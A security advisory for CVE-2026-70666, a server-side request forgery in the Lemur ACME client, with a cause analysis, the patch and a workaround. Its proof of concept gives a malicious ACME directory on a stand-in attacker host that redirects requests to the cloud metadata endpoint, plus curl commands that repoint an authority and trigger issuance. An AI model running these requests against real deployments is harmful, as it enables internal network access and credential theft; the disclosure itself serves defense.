CVE-2026-70666: Lemur ACME Client Server-Side Request Forgery via Server-Controlled URLs
A user with any role on a Lemur ACME certificate authority can repoint it at a malicious ACME server they control, causing Lemur to make authenticated POST requests to arbitrary internal URLs during…

The problem
Lemur validates the ACME directory URL (acme_url) against an allowlist of trusted hosts, but only when an authority is first created. The PUT /api/1/authorities/<id> update path accepted a new options blob containing an arbitrary acme_url and stored it verbatim with no re-validation.
Any member of an authority's role (not a global admin) could silently repoint the authority at an attacker-controlled ACME server. Because the ACME protocol (RFC 8555) has a client follow URLs returned by the server in directory, order, authorization, and finalize responses, the attacker's server could return internal addresses such as the cloud IMDS endpoint.
Lemur would then POST JWS-signed requests to those internal URLs during the next certificate issuance.
Proof of concept
A working proof-of-concept for CVE-2026-70666 in lemur, with the exact payload below.
# Step 1: Attacker runs a malicious ACME directory server returning internal URLs
# evil.attacker.tld/dir responds with:
{
"newNonce": "https://evil.attacker.tld/nonce",
"newOrder": "http://169.254.169.254/latest/meta-data/",
"revokeCert": "https://evil.attacker.tld/revoke",
"keyChange": "https://evil.attacker.tld/key"
}
# Step 2: Authority-role member repoints an existing ACME authority
curl -k -X PUT https://lemur.example.com/api/1/authorities/42 \
-H "Authorization: Bearer <JWT>" \
-H "Content-Type: application/json" \
-d '{
"name": "letsencrypt",
"owner": "attacker@corp.com",
"description": "x",
"active": true,
"roles": [{"id": 7, "name": "letsencrypt_operator"}],
"options": "[{\"name\":\"acme_url\",\"value\":\"https://evil.attacker.tld/dir\"},{\"name\":\"chain\",\"value\":\"\"}]"
}'
# Step 3: Trigger certificate issuance against the repointed authority
curl -k -X POST https://lemur.example.com/api/1/certificates \
-H "Authorization: Bearer <JWT>" \
-H "Content-Type: application/json" \
-d '{
"commonName": "demo.example.com",
"owner": "attacker@corp.com",
"authority": {"name": "letsencrypt"},
"validityYears": 1
}'
# Lemur reads the directory from evil.attacker.tld, then POSTs a JWS-signed
# request to http://169.254.169.254/latest/meta-data/ -- SSRF achieved.There are two compounding defects. First, _validate_acme_url in lemur/plugins/lemur_acme/plugin.py ran only inside create_authority. The Authorities.put handler passed options directly to service.update() with no schema-level or service-level hostname check, so acme_url could be set to any host.
Second, the ACME client in acme_handlers.py followed every URL returned by the ACME server (newOrder, authorizations, finalize) without checking that the hostname matched the originally configured, allowlisted directory host. This is the standard ACME-client SSRF risk described in RFC 8555: a malicious server can redirect a compliant client to arbitrary URLs.
The patch fixes both: acme_url is now re-validated against ACME_DIRECTORY_HOST_ALLOWLIST on every authority update, and all outbound ACME client requests are pinned to the allowlisted directory hostname, rejecting any server-supplied URL whose host differs.
The fix
Upgrade to lemur 1.9.3 (commit 6dcb19b6d6004e97796d6a0344b130b2ba57f050). Two changes land together: acme_url is validated against the allowlist on authority update (not only creation), and the ACME client rejects any directory/order/finalize URL whose hostname does not match the configured allowlisted directory host.
If an immediate upgrade is not possible, restrict PUT /api/1/authorities/<id> to admin-only as a temporary workaround.
Reported by PJ1288.
Related research
- high · 7.7CVE-2026-71303CVE-2026-71303: Lemur ACME Authority Update SSRF (Incomplete Fix)
- CRITICAL · 9.9CVE-2026-55166CVE-2026-55166: Lemur ACME SSRF + Creator IDOR leads to AWS IAM and PKI key compromise
- high · 7.7CVE-2026-71307CVE-2026-71307: Lemur Authenticated Plaintext Destination Credential Exposure
- high · 8.1CVE-2026-71308CVE-2026-71308: Lemur Unauthorized Certificate Hijack via Unchecked replaces Field